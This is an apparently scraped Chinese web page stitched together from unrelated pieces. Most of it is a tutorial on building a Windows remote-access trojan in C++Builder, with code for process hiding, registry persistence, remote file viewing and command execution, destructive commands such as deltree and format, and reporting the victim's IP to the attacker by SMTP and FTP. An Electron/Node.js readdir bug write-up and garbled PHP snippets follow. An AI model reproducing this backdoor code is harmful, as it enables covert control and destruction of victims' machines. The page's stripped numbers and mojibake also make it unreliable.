1.木马是什么东西
2.抽丝剥茧:Electron与Node.js的奇葩Bug
3.requireåincludeçåºå«
4.node.js中的fs.readdir方法使用说明
5.node.js中的fs.readdirSync方法使用说明
木马是什么东西
木马是如何编写的(一)
特洛依木马这个名词大家应该不陌生,自从年“死牛崇拜”黑客小组公布Back Orifice以来,木马犹如平地上的惊雷,使在DosWindows时代中长大的中国网民从五彩缤纷的网络之梦中惊醒,终于认识到的网络也有它邪恶的一面,一时间人心惶惶。diy配色源码
我那时在《电脑报》上看到一篇文章,大意是一个菜鸟被人用BO控制了,吓得整天吃不下饭、睡不着觉、上不了网,到处求救!呵呵,要知道,木马(Trojan)的历史是很悠久的:早在AT&T Unix和BSD Unix十分盛行的年代,木马是由一些玩程式(主要是C)水平很高的年轻人(主要是老美)用C或Shell语言编写的,基本是用来窃取登陆主机的口令,以取得更高的权限。那时木马的主要方法是诱骗先修改你的.profile文件,植入木马;当你登陆时将你敲入的口令字符存入一个文件,用Email的形式发到攻击者的邮箱里。国内的年轻人大都是在盗版Dos的熏陶下长大的,对网络可以说很陌生。直到Win9x横空出世,尤其是WinNt的普及,大大推动了网络事业的发展的时候,BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马(甚至在Win9x的“关闭程序”对话框可以看到进程)给了当时中国人极大的震撼,它在中国的网络安全方面可以说是一个划时代的软件。
自己编写木马,听起来很Cool是不是?!木马一定是由两部分组成服务器程序(Server)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的网络协议来进行通讯(一般是TCP/IP协议)。为了让大家更好的了解木马攻击技术,破除木马的神秘感,我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。
首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi,这里我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的linux系统源码下载例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小组公布的BO源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈难道你还给受害者传一个1兆多的动态链接库Msvbvm.dll吗?
启动C++Builder 5.0企业版,新建一个工程,添加三个VCL控件:一个是Internet页中的Server Socket,另两个是Fastnet页中的NMFTP和NMSMTP。Server Socket的功能是用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。Socket最初是在Unix上出现的,后来微软将它引入了Windows中(包括Win和WinNt);后两个控件的作用是用来使程序具有FTP(File Transfer Protocol文件传输协议)和SMTP(Simple Mail Transfer Protocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。
Form窗体是可视的,这当然是不可思议的。不光占去了大量的空间(光一个Form就有K之大),而且使软件可见,根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现的小程序一般只有K左右那样。
我们首先应该让我们的程序能够隐身。双击Form,首先在FormCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘,其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此,只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程(Service Process)就可以了。不过该函数的声明在Borland预先打包的头文件中没有,那么我们只好自己来声明这个位于KERNEL.DLL中的鸟函数了。
首先判断目标机的操作系统是Win9x还是WinNt:
{
DWORD dwVersion = GetVersion();
// 得到操作系统的版本号
if (dwVersion >= 0x)
// 操作系统是Win9x,不是WinNt
{
typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);
file://定义RegisterServiceProcess()函数的原型
HINSTANCE hDLL;
LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;
hDLL = LoadLibrary("KERNEL");
file://加载RegisterServiceProcess()函数所在的动态链接库KERNEL.DLL
lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");
file://得到RegisterServiceProcess()函数的地址
lpRegisterServiceProcess(GetCurrentProcessId(),1);
file://执行RegisterServiceProcess()函数,隐藏本进程
FreeLibrary(hDLL);
file://卸载动态链接库
}
}
这样就终于可以隐身了(害我敲了这么多代码!)。为什么要判断操作系统呢?因为WinNt中的进程管理器可以对当前进程一览无余,因此没必要在WinNt下也使用以上代码(不过你可以使用其他的方法,这个留到后面再讲)。接着再将自己拷贝一份到%System%目录下,例如:C:\Windows\System,并修改注册表,以便启动时自动加载:
{
char TempPath[MAX_PATH];
file://定义一个变量
GetSystemDirectory(TempPath ,MAX_PATH);
file://TempPath是system目录缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的System目录路径
SystemPath=AnsiString(TempPath);
file://格式化TempPath字符串,使之成为能供编译器使用的样式
CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi.exe").c_str() ,FALSE);
file://将自己拷贝到%System%目录下,并改名为Tapi.exe,伪装起来
Registry=new TRegistry;
file://定义一个TRegistry对象,php招聘系统 源码准备修改注册表,这一步必不可少
Registry->RootKey=HKEY_LOCAL_MACHINE;
file://设置主键为HKEY_LOCAL_MACHINE
Registry->OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",TRUE);
file://打开键值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就创建之
try
{
file://如果以下语句发生异常,跳至catch,以避免程序崩溃
if(Registry->ReadString("crossbow")!=SystemPath+"\\Tapi.exe")
Registry->WriteString("crossbow",SystemPath+"\\Tapi.exe");
file://查找是否有“crossbow”字样的键值,并且是否为拷贝的目录%System%+Tapi.exe
file://如果不是,就写入以上键值和内容
}
catch(...)
{
file://如果有错误,什么也不做
}
}
好,FormCreate过程完成了,这样每次启动都可以自动加载Tapi.exe,并且在“关闭程序”对话框中看不见本进程了,木马的雏形初现。
接着选中ServerSocket控件,在左边的Object Inspector中将Active改为true,这样程序一启动就打开特定端口,处于服务器工作状态。再将Port填入,这是木马的端口号,当然你也可以用别的。但是你要注意不要用以下的低端端口,因为这样不但可能会与基本网络协议使用的端口相冲突,而且很容易被发觉,因此尽量使用以上的高端端口(不过也有这样一种技术,它故意使用特定端口,因为如果引起冲突,Windows也不会报错 ^_^)。你可以看一看TNMFTP控件使用的端口,是号端口,这是FTP协议的专用控制端口(FTP Control Port);同理TNMSMTP的号端口也是SMTP协议的专用端口。
再选中ServerSocket控件,点击Events页,双击OnClientRead事件,敲入以下代码:
{
FILE *fp=NULL;
char * content;
int times_of_try;
char TempFile[MAX_PATH];
file://定义了一堆待会儿要用到的变量
sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("\\Win.BAT")).c_str());
file://在%System%下建立一个文本文件Win.bat,作为临时文件使用
AnsiString temp=Socket->ReceiveText();
file://接收客户端(攻击者,也就是你自己)传来的数据
}
好,大门敞开了!接着就是修改目标机的各种配置了!^_^ 首先我们来修改Autoexec.bat和Config.sys吧:
{
if(temp.SubString(0,9)=="edit conf")
file://如果接受到的字符串的前9个字符是“edit conf”
{
int number=temp.Length();
file://得到字符串的长度
int file_name=atoi((temp.SubString(,1)).c_str());
file://将第个字符转换成integer型,存入file_name变量
file://为什么要取第个字符,因为第个字符是空格字符
content=(temp.SubString(,number-)+'\n').c_str();
file://余下的字符串将被作为写入的内容写入目标文件
FILE *fp=NULL;
char filename[];
chmod("c:\\autoexec.bat",S_IREADS_IWRITE);
chmod("c:\\config.sys",S_IREADS_IWRITE);
file://将两个目标文件的属性改为可读可写
if(file_name==1)
sprintf(filename,"%s","c:\\autoexec.bat");
file://如果第个字符是1,就把Autoexec.bat格式化
else if(file_name==2)
sprintf(filename,"%s","c:\\config.sys");
file://如果第个字符是1,就把Config.sys格式化
times_of_try=0;
file://定义计数器
while(fp==NULL)
{
file://如果指针是空
fp=fopen(filename,"a+");
file://如果文件不存在,创建之;如果存在,准备在其后添加
file://如果出错,文件指针为空,空冥诀源码这样就会重复
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try>)
{
file://如果已经试了次了,仍未成功
Socket->SendText("Fail By Open File");
file://就发回“Fail By Open File”的错误信息
goto END;
file://跳至END处
}
}
fwrite(content,sizeof(char),strlen(content),fp);
file://写入添加的语句,例如deltree/y C:或者format/q/autotest C:,够毒吧?!
fclose(fp);
file://写完后关闭目标文件
Socket->SendText("Sucess");
file://然后发回“Success”的成功信息
}
}
上回我们讲到如何修改目标机上的启动配置文件,这回我们就来查看目标机上的目录树和文件吧,这在客户端上使用“dir”命令,跟着敲?:
{
else if(temp.SubString(0,3)=="dir")
{
file://如果前3个字符是“dir”
int Read_Num;
char * CR_LF="\n";
int attrib;
char *filename;
DIR *dir;
struct dirent *ent;
int number=temp.Length();
file://得到字符串的长度
AnsiString Dir_Name=temp.SubString(5,number-3);
file://从字符串第六个字符开始,将后面的字符存入Dir_Name变量,这是目录名
if(Dir_Name=="")
{
file://如果目录名为空
Socket->SendText("Fail By Open DIR's Name");
file://返回“Fail By Open DIR's Name”信息
goto END;
file://跳到END
}
char * dirname;
dirname=Dir_Name.c_str();
if ((dir = opendir(dirname)) == NULL)
{
file://如果打开目录出错
Socket->SendText("Fail by your DIR's name!");
file://返回“Fail By Your DIR's Name”信息
goto END;
file://跳到END
}
times_of_try=0;
while(fp==NULL)
{
file://如果指针是NULL
fp=fopen(TempFile,"w+");
file://就创建system\Win.bat准备读和写;如果此文件已存在,则会被覆盖
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try>)
{
file://如果已经试了次了,仍未成功(真有耐心!)
Socket->SendText("Fail By Open File");
file://就发回“Fail By Open File”的错误信息
goto END;
file://并跳到END处
}
}
while ((ent = readdir(dir)) != NULL)
{
file://如果访问目标目录成功
if(*(AnsiString(dirname)).AnsiLastChar()!='\\')
file://如果最后一个字符不是“\”,证明不是根目录
filename=(AnsiString(dirname)+"\\"+ent->d_name).c_str();
file://加上“\”字符后将指针指向目录流
else
filename=(AnsiString(dirname)+ent->d_name).c_str();
file://如果是根目录,则不用加“\”
attrib=_rtl_chmod(filename, 0);
file://得到目标文件的访问属性
if (attrib & FA_RDONLY)
file://“&”字符是比较前后两个变量,如果相同返回1,否则返回0
fwrite(" R",sizeof(char),3,fp);
file://将目标文件属性设为只读
else
fwrite(" ",sizeof(char),3,fp);
file://失败则写入空格
if (attrib & FA_HIDDEN)
fwrite("H",sizeof(char),1,fp);
file://将目标文件属性设为隐藏
else
fwrite(" ",sizeof(char),1,fp);
file://失败则写入空格
if (attrib & FA_SYSTEM)
fwrite("S",sizeof(char),1,fp);
file://将目标文件属性设为系统
else
fwrite(" ",sizeof(char),1,fp);
file://失败则写入空格
if (attrib & FA_ARCH)
fwrite("A",sizeof(char),1,fp);
file://将目标文件属性设为普通
else
fwrite(" ",sizeof(char),1,fp);
file://失败则写入空格
if (attrib & FA_DIREC)
fwrite(" <DIR> ",sizeof(char),9,fp);
file://将目标文件属性设为目录
else
fwrite(" ",sizeof(char),9,fp);
file://失败则写入空格
fwrite(ent->d_name,sizeof(char),strlen(ent->d_name),fp);
file://将目录名写入目标文件
fwrite(CR_LF,1,1,fp);
file://写入换行
}
fclose(fp);
file://关闭文件
closedir(dir);
file://关闭目录
FILE *fp1=NULL;
times_of_try=0;
while(fp1==NULL)
{
fp1=fopen(TempFile,"r");
file://打开Win.bat准备读
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try>)
{
file://如果已经试了次了,仍未成功
Socket->SendText("Fail By Open File");
file://就发回“Fail By Open File”的错误信息
goto END;
file://并跳到END处
}
}
AnsiString Return_Text="";
char temp_content[];
for(int i=0;i<;i++) temp_content[i]='\0';
file://定义的一个空数组
Read_Num=fread(temp_content,1,,fp1);
file://从目标文件中读入前个字符
while(Read_Num==)
{
Return_Text=Return_Text+temp_content;
file://Return_Text变量加上刚才的个字符
for(int i=0;i<;i++) temp_content[i]='\0';
Read_Num=fread(temp_content,1,,fp1);
file://重复
};
Return_Text=Return_Text+temp_content;
file://Return_Text变量加上刚才的个字符
fclose(fp1);
file://关闭目标文件
Socket->SendText(Return_Text);
file://返回Return_Text变量的内容
}
}
够长吧?!察看目录树这么费劲啊?!你后面可以用BCB中的各种列表框对Client.exe好好美化美化。接下来就是查看指定文件的内容了,Client将使用“type”命令,(手指累不累啊?):
{
else if(temp.SubString(0,4)=="type")
{
file://如果前4个字符是“type”
int Read_Num;
int number=temp.Length();
AnsiString File_Name=temp.SubString(6,number-4);
file://将目标文件流存入File_Name变量中
times_of_try=0;
while(fp==NULL)
{
fp=fopen(File_Name.c_str(),"r");
file://打开目标文件准备读
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try>)
{
file://如果已试了次了
Socket->SendText("Fail By Open File");
file://返回“Fail By Open File”的错误信息
goto END;
file://跳到END
}
}
AnsiString Return_Text="";
char temp_content[];
for(int i=0;i<;i++) temp_content[i]='\0';
file://定义一个空数组
Read_Num=fread(temp_content,1,,fp);
file://从目标文件中读入前个字符
while(Read_Num==)
{
Return_Text=Return_Text+temp_content;
file://Return_Text的内容加上刚才的字符
for(int i=0;i<;i++) temp_content[i]='\0';
Read_Num=fread(temp_content,1,,fp);
file://重复
};
Return_Text=Return_Text+temp_content;
file://Return_Text的内容加上刚才的字符
fclose(fp);
file://关闭目标文件
Socket->SendText(Return_Text);
file://返回Return_Text的内容,即你查看文件的内容
}
}
咳咳!累死了!还是来点轻松的吧操纵目标机的光驱(注意:mciSendString()函数的声明在mmsystem.h头文件中):
{
else if(temp=="open")
{
file://如果收到的temp的内容是“open”
mciSendString("set cdaudio door open", NULL, 0, NULL);
file://就弹出光驱的托盘
}
else if(temp=="close")
{
file://如果收到的temp的内容是“close”
mciSendString("Set cdaudio door closed wait", NULL, 0, NULL);
file://就收入光驱的托盘。当然你也可以搞个死循环,让他的光驱好好活动活动!^_^
}
}
接着就是交换目标机的鼠标左右键,代码如下:
{
else if(temp=="swap")
{
SwapMouseButton(1);
file://交换鼠标左右键,简单吧?
}
}
然后就是使目标机重新启动。但这里要区分WinNt和Win9xNT非常注重系统每个进程的权利,一个普通的进程是不应具备有调用系统的权利的,因此我们要赋予本程序足够的权限:
{
else if(temp=="reboot")
{
file://如果收到的temp的内容是“temp”
DWORD dwVersion = GetVersion();
file://得到操作系统的版本号
if (dwVersion < 0x)
{
file://操作系统是WinNt,不是Win9x
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
file://定义变量
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES TOKEN_QUERY, &hToken);
file://OpenProcessToken()这个函数的作用是打开一个进程的访问令牌
file://GetCurrentProcess()函数的作用是得到本进程的句柄
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
file://LookupPrivilegeValue()的作用是修改进程的权限
tkp.PrivilegeCount = 1;
file://赋给本进程特权
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
file://AdjustTokenPrivileges()的作用是通知Windows NT修改本进程的权利
ExitWindowsEx(EWX_REBOOT EWX_FORCE, 0);
file://强行退出WinNt并重启
}
else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);
file://强行退出Win9x并重启
}
}
如果以上都不是,就让它在Dos窗口中执行传来的命令:
{
else
{
file://如果都不是
char * CR_TF="\n";
times_of_try=0;
while(fp==NULL)
{
fp=fopen(TempFile,"w+");
file://创建Win.bat,如果已存在就覆盖
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try>)
{
Socket->SendText("Fail By Open File");
file://返回“Fail By Open File”的信息
goto END;
file://跳到END
}
}
fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp);
file://写入欲执行的命令
fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp);
file://写入换行符
fclose(fp);
file://关闭Win.bat
system(TempFile);
file://执行Win.bat
Socket->SendText("Success");
file://返回“Success”信息
}
}
你可以直接执行什么Ping和Tracert之类的命令来进一步刺探目标机的网络状况(判断是否是一个企业的局域网),然后可以进一步攻击,比如Deltree和Format命令。^_^
到此,服务器程序的功能已全部完成,但还差容错部分未完成,这样才能避免程序因意外而崩溃。朋友,别走开!(未完待续)
木马是网络u盘 源码如何编写的(三)
武汉 周侃
上次已编写完服务器端的各种功能,但还差容错部分还未完成,下面我们Go on! 其代码如下(照敲不误 ^_^):
{
END:;
Socket->Close();
file://关闭服务
ServerSocket1->Active =true;
file://再次打开服务
if (NMSMTP1->Connected) NMSMTP1->Disconnect();
file://如果SMTP服务器已连接则断开
NMSMTP1->Host = "smtp..net";
file://选一个好用的SMTP服务器,如、、sina和btamail
NMSMTP1->UserID = "";
file://你SMTP的ID
try
{
NMSMTP1->Connect();
file://再次连接
}
catch(...)
{
goto NextTime;
file://跳到NextTime
}
NMSMTP1->PostMessage->FromAddress ="I don't know!";
file://受害者的Email地址
NMSMTP1->PostMessage->FromName = "Casualty";
file://受害者的名字
NMSMTP1->PostMessage->ToAddress->Text = "crossbow@.net";
file://将信发到我的邮箱,这一步很关键
NMSMTP1->PostMessage->Body->Text = AnsiString("Server Running on:") + NMSMTP1->LocalIP ;
file://信的内容提示你“服务器正在运行”,并且告诉你受害者的目前的IP地址,以便连接
NMSMTP1->PostMessage->Subject = "Server Running Now!";
file://信的主题
NMSMTP1->SendMail();
file://发送!
return;
file://返回
NextTime:
NMFTP1->Host = "ftp.go..com";
file://你的FTP服务器的地址
NMFTP1->UserID = "";
file://你的用户ID
NMFTP1->Port = ;
file://FTP端口号,一般为
NMFTP1->Password = "";
file://你的FTP的密码
if(NMFTP1->Connected) NMFTP1->Disconnect();
file://如果已连接就断开
try
{
NMFTP1->Connect();
file://再连接
}
catch(...)
{
return;
file://返回
}
AnsiString SendToSite = "Server Running on: " + NMFTP1->RemoteIP;
file://受害者的IP地址
FILE * Upload;
Upload = fopen(NMFTP1->RemoteIP.c_str(),"w+");
file://创建一个新文件准备写,如果已存在就覆盖
fwrite(SendToSite.c_str(),sizeof(char),SendToSite.Length(),Upload);
file://写入以上的SendToSite的内容
fclose(Upload);
file://写完后关闭此文件
NMFTP1->RemoveDir("public_html");
file://删除public_html目录
NMFTP1->Upload(NMFTP1->RemoteIP, NMFTP1->RemoteIP);
file://上传!
}
啊,超长的OnClientRead事件终于写完了。最后别忘了要在此服务器源码文件中添加以下头文件:
#include <stdlib.h>
#include <dirent.h>
#include <fcntl.h>
#include <dos.h>
#include <sys\stat.h>
#include <winbase.h>
#include <stdio.h>
#include <process.h>
#include <io.h>
#include <mmsystem.h>
至此,服务器端(Server)程序已全部
抽丝剥茧:Electron与Node.js的奇葩Bug
起因是最近在用Electron开发一个桌面端项目,有个需求是需要遍历某个文件夹下的所有JavaScript文件,对它进行AST词法语法分析,解析出元数据并写入到某个文件里。需求整体不复杂,只是细节有些麻烦,当我以为开发的差不多时,注意到一个匪夷所思的问题,查的我快怀疑人生。
缘起
什么问题呢?
原来这个需求一开始仅是遍历当前文件夹下的文件,我的获取所有JS文件的代码是这样的:
后来需求改为要包含文件夹的子文件夹,那就需要进行递归遍历。按照我以前的做法,当然是手撸一个递归,代码并不复杂,缺点是递归可能会导致堆栈溢出:
但做为一个紧跟时代浪潮的开发者,我知道Node.js的fs.readdir API中加了一个参数recursive,表示可以进行递归,人家代码的鲁棒性肯定比我的好多了:
只改了一行代码,美滋滋~
兼容性怎么样呢?我们到Node.js的API文档里看下:
是从v..0添加的,而我本地使用的Node.js版本正是这个(好巧),我们Electron中的Node.js版本是多少呢?先看到electron的版本是.0.4:
在Electron的 发布页上能找到这个版本对应的是..1,比我本地的还要多一个小版本号:
这里需要说明一下,Electron之所以优于WebView方案,是因为它内置了Chrome浏览器和Node.js,锁定了前端与后端的版本号,这样只要Chrome和Node.js本身的跨平台没有问题,理论上Electron在各个平台上都能获得统一的UI与功能体验。 而以Tauri为代表的WebView方案,则是不内置浏览器,应用程序使用宿主机的浏览器内核,开发包的体积大大减小,比如我做过的同样功能的一个项目,Electron版本有M+,而Tauri的只有4M左右。虽然体积可以这么小,又有Rust这个性能大杀器,但在实际工作中的技术选型上,想想各种浏览器与不同版本的兼容性,换我也不敢头铁地用啊! 所以,尽管Electron有这样那样的缺点,仍是我们开发客户端的不二之选。 之所以提这个,是因为读者朋友需要明白实际项目运行的是Electron内部的Node.js,而我们本机的Node.js只负责启动Electron这个工程。
以上只是为了说明,我这里使用fs.readdir这个API新特性是没有问题的。
排查
为方便排查,我将代码再度简化,提取一个单独的文件中,被Electron的Node.js端引用:
能看到控制台打印的 Node.js 版本与我们刚才查到的是一样的,文件数量为2:
同样的代码使用本机的Node.js执行:
难道是这个小版本的锅?按理说不应该。但为了排除干扰,我将本机的Node.js也升级为..1:
这下就有些懵逼了!
追踪
目前来看,锅应该是Electron的。那么第一思路是什么?是不是人家已经解决了啊?我要不要先升个级?
没毛病。
升级Electron
将Electron的版本号换成最新版本v.1.0:
再看效果:
我去,正常了!
不过,这个包的升级不能太草率,尤其正值发版前夕,所以还是先改代码吧,除了我上面手撸的代码外,还有个包readdirp也可以做同样的事情:
这两种方式,在原版本的Electron下都没有问题。
GitHub上搜索
下来接着排查。
Electron是不是有人发现了这个Bug,才进行的修复呢?
去 GitHub issue里瞅一瞅:
没有,已经关闭的问题都是年提的问题,而我们使用的Electron的版本是年月日发布的。 那么就去 代码提交记录里查下(GitHub这个功能还是很好用的):
符合条件的就一条,打开看下:
修复的这个瞅着跟我们的递归没有什么关系嘛。
等等,这个文件是什么鬼?
心血来潮的收获
我们找到这个文件,目录在lib下:
从命名上看,这个文件是对Node.js的fs模块的一个包装。如果你对Electron有了解的话,仔细一思索,就能理解为什么会有这么个文件了。我们开发时,项目里会有许多的资源,Electron的Node.js端读取内置的文件,与正常Node.js无异,但事实上,当我们的项目打包为APP后,文件的路径与开发状态下完全不一样了。所以Electron针对打包后的文件处理,重写了fs的各个方法。
这段代码中重写readdir的部分如下:
上面的判断isAsar就是判断是否打包后的归档文件,来判断是否要经Electron特殊处理。如果要处理的话,会调用Electron内部的C++代码方法进行处理。
我发现,这里Electron并没有对打包后的归档文件处理递归参数recursive,岂不是又一个Bug?应该提个issue提醒下。
不过,我们目前的问题,并不是它造成的,因为现在是开发状态下,上面代码可以简化为:
对Promise了如指掌的我怎么看这代码也不会有问题,只是心血来潮执行了一下:
我去,差点儿脑溢血!
好的一点是,曙光似乎就在眼前了!事实证明,心血来潮是有用的!
Node.js的源码
这时不能慌,本地切换Node.js版本为v,同样的代码再执行下:
这说明Electron是被冤枉的,锅还是Node.js的!
Node.js你这个浓眉大眼的,居然也有Bug!呃,还偷偷修复了!
上面的情况,其实是说原生的fs.readdir有问题:
也就是说,fs.promises.readdir并不是用util.promisify(fs.readdir)实现的!
换成同步的代码readdirSync,效果也是一样:
我们来到Node.js的GitHub地址,进行 搜索:
打开这两个文件,能发现,二者确实是不同的实现,不是简单地使用util.promisify进行转换。
fs.js
我们先看 lib/fs.js。
当recursive为true时,调用了一个readdirSyncRecursive函数,从这个命名上似乎可以看出有性能上的隐患。正常来说,这个函数是异步的,不应该调用同步的方法,如果文件数量过多,会把主进程占用,影响性能。
如果没有recursive,则是原来的代码,我们看到binding readdir这个函数,凡是binding的代码,应该就是调用了C++的底层库,进行了一次『过桥』交互。
我们接着看readdirSyncRecursive,它的命名果然没有毛病,binding readdir没有第4个参数,是完全同步的,这个风险是显而易见的:
fs/promises.js
在lib/internal/fs/promises.js中,我们看到binding readdir的第4个参数是kUsePromises,表明是个异步的处理。
当传递了recursive参数时,将调用readdirRecursive,而readdirRecursive的代码与readdirSyncRecursive的大同小异,有兴趣的可以读一读:
fs.js的提交记录
我们搜索readdir的提交记录,能发现这两篇都与深度遍历有关:
其中 下面的这个,正是我们这次问题的罪魁祸首。
刚才看到的fs.js中的readdirSyncRecursive里这段长长的注释,正是这次提交里添加的:
从代码对比上,我们就能看出为什么我们的代码遍历的程序为2了,因为readdirResult是个二维数组,它的长度就是2啊。取它的第一个元素的长度才是正解。坑爹!
也就是说,如果不使用withFileTypes这个参数,得到的结果是没有问题的:
发版记录
我们在Node.js的发版记录中,找到这条提交记录,也就是说,v..0才修复这个问题。
而Electron只有Node.js更新到v后,这个功能才修复。
而从Electron与Node.js的版本对应上来看,得更新到v了。
只是需要注意的是,像前文提过的,如果是遍历的是当前项目的内置文件,Electron并没有支持这个新的参数,在打包后会出现Bug。
fs的同步阻塞
其实有人提过一个 issue:
确实是个风险点。所以,建议Node.js开发者老老实实使用fs/promises代替fs,而Electron用户由于坑爹的fs包裹,还是不要用这个特性了。
总结
本次问题的起因是我的一个Electron项目,使用了一个Node.js fs API的一个新参数recursive递归遍历文件夹,偶然间发现返回的文件数量不对,就开始排查问题。
首先,我选择了升级Electron的包版本,发现从v.0.4升级到最新版本v.1.0后,问题解决了。但由于发版在即,不能冒然升级这么大件的东西,所以先使用readdirp这个第三方包处理。
接着排查问题出现的原因。我到Electron的GitHub上搜索issue,只找到一条近期的提交,但看提交信息,不像是我们的目标。我注意到这条提交的修改文件(asar-fs-wrapper.ts),是Electron针对Node.js的fs API的包装,意识到这是Electron为了解决打包前后内置文件路径的问题,心血来潮之下,将其中核心代码简化后,测试发现问题出在fs.promises readdir的重写上,继而锁定了Node.js版本v..1的fs.readdir有Bug。
下一步,继续看Node.js的源码,确定了fs.promises与fs是两套不同的实现,不是简单地使用util.promisify进行转换。并在fs的代码找到关于recursive递归的核心代码readdirSyncRecursive。又在提交记录里,找到这段代码的修复记录。仔细阅读代码对比后,找到了返回数量为2的真正原因。
我们在Node.js的发版记录中,找到了这条记录的信息,确定了v..0才修复这个问题。而内嵌Node.js的Electron,只有v版本起才修复。
不过需要注意的是,如果是遍历的是当前项目的内置文件,由于Electron并没有支持这个新的参数,在打包后会出现Bug。而且由于fs.readdir使用recursive时是同步的,Electron重写的fs.promises readdir最终调用的是它,可能会有隐性的性能风险。
本次定位问题走了些弯路,一开始将目标锁定到Electron上,主要是它重写fs的锅,如果我在代码中用的fs.readdirSync,那么可能会更早在Node.js上查起。谁能想到我调用的fs.promises readdir不是真正的fs.promises readdir呢?
最后,针对此次问题,我们有以下启示:
PS:我给Electron提了个 issue,一是让他们给fs.readdir添加recursive参数的实现,二是让他们注意下重写时fs.promises readdir的性能风险。
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建议大家å¨å å«å¨ææ件,ä¹å°±æ¯æåé,å½æ°,å·²ç»ç±»çæ¶åç¨include.ä¸è¿å段æ¶é´æ人å¨åæ两个å½æ°çæ§è¡æç.è¿ä¸ªæ没èªå·±æµè¯è¿,ç亲èªæµè¯äºåè¿è¡è¡¥å
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* require() ä¸ require_once()
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ä¾å¦ï¼include('/home/me/myfile');
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$dir = opendir($dir_name);
/* å¼å§å»ºç«ä¸ä¸ªå符串ï¼è¿ä¸ªå符串å å«äº HTML çå表å·æ ï¼ç¨æ¥æ¾ç¤ºç®å½ä¸çæ件å称ã */
$file_list = "ï¼ulï¼";
/* 使ç¨ä¸ä¸ª while 循ç¯åè¿°å°åé¢å¼å¯çç®å½ä¸çæ¡£æ¡å ¨é¨è¯»åä¸éãå¦æ读åå°çæ¡£åä¸æ¯ã.ãæè ã..ãï¼å°±æ该档ååå ¥åé¢æå°çå符串éé¢å»ã */ while ($file_name = readdir($dir)) {
if (($file_name != ".") && ($file_name != "..")) { $file_list .= "ï¼liï¼$file_name"; } }
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ï¼!-- ä½¿ç¨ PHP ç¨åºæ¥å°æ们æ读åçç®å½å称æ¾ç¤ºå¨é¡µé¢ä¸ --ï¼ ï¼Pï¼Files in: ï¼? echo "$dir_name"; ?ï¼ï¼/pï¼
ï¼!-- ä½¿ç¨ PHP ç¨åºå°è¯¥ç®å½ä¸è¯»åå°çæ件åæ¾ç¤ºå¨é¡µé¢ä¸ --ï¼ ï¼? echo "$file_list"; ?ï¼ ï¼/BODYï¼ ï¼/HTMLï¼
ç»è¿ä¸é¢å æ¥ï¼ä½ å·²ç»æåææ个ç®å½ä¸çæ件å称æ¾ç¤ºå¨ç½é¡µä¸äºãä½ä½ è¦è®°ä½ä¸ç¹ï¼è¦è¯»åæ个ç®å½æè æ¡£æ¡ï¼è¯»åæ¡£æ¡å 容çåæ³ç¨åä¼ä»ç»ï¼ï¼PHP æ¬èº«æ§è¡æç¨ç身åå¿ é¡»è³å°æ¥æ该ç®å½æè æ¡£æ¡ç读åæéæè¡ï¼å¦åç³»ç»ä¼æ¾ç¤ºæéä¸è¶³çé误讯æ¯ã
ä¸ä¸ä¸ªä¾åæå°æ大家å¦ä½å¤å¶ä¸ä¸ªæ¡£æ¡ï¼
ï¼? /* åé$orginalå¨åæºæ件çå®æ´è·¯å¾ï¼åé$copiedå¨åå¤å¶è¿å»çæ°æ¡£æ¡çå®æ´è·¯å¾ */ $original = "/home/me/mydatabasedump"; $copied = "/archive/mydatabasedumo_";
/* å¼å« copy() å½æ°ææ¡£æ¡ä»åå§ä½ç½®å¤å¶ä¸ä»½å°æ°çä½ç½®å»ãå¦ææ æ³å¤å¶ï¼é£ä¹ä¾¿ç»æ¢ç¨åºçæ§è¡å¹¶ä¸æ¾ç¤ºé误讯æ¯ã */
@copy($original, $copied) or die("æ æ³å¤å¶æ¡£æ¡ã"); ?ï¼
